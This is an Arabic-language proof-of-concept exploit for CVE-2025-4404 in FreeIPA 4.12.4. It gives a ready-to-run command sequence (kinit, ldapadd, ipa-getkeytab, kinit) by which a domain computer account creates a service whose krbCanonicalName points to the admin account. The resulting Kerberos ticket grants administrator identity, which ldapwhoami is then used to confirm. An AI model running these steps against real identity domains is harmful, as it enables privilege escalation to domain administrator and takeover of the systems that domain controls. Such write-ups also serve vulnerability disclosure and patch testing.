
إثبات المفهوم لـ CVE-2025-4404
إثبات المفهوم لـ CVE-2025-4404
إذا كان لديك حساب كمبيوتر في المجال (host/pc1.[email protected])، فيمكنك إضافة الخدمة افتراضيًا. ويمكنك تعيين krbPrincipalName وkrbCanonicalName. افتراضيًا، تكون قيمة سمة krbCanonicalName مفقودة لحساب المسؤول في FreeIPA 4.12.4. يمكنك طلب تذكرة Kerberos بقيمة krbPrincipalName، لكن التذكرة ستحتوي على قيمة krbCanonicalName.
هيا بنا
أولاً، سنطلب تذكرة نيابة عن حساب الكمبيوتر:
$ kinit host/[email protected] -k -t /etc/krb5.keytab
إضافة إلى حساب خدمة LDAP:
$ ldapadd -H ldap://dc1.test.local
dn: krbprincipalname=test/[email protected],cn=services,cn=accounts,dc=test,dc=local
ipaKrbPrincipalAlias: test/[email protected]
krbPrincipalName: test/[email protected]
objectClass: ipaKrbPrincipal
objectClass: ipaObject
objectClass: ipaService
objectClass: krbPrincipal
objectClass: krbPrincipalAux
objectClass: top
krbCanonicalName: [email protected]
managedBy: fqdn=pc1.test.local,cn=computers,cn=accounts,dc=test,dc=local
$ ipa-getkeytab -p test/[email protected] -k ./test.keytab --mech=GSSAPI
$ kdestroy -A
$ kinit --no-request-pac -k -t ./test.keytab test/[email protected]تم الاختراق!!!
يمكنك التحقق من التذكرة بواسطة:
ldapwhoami -H ldap://dc1.test.local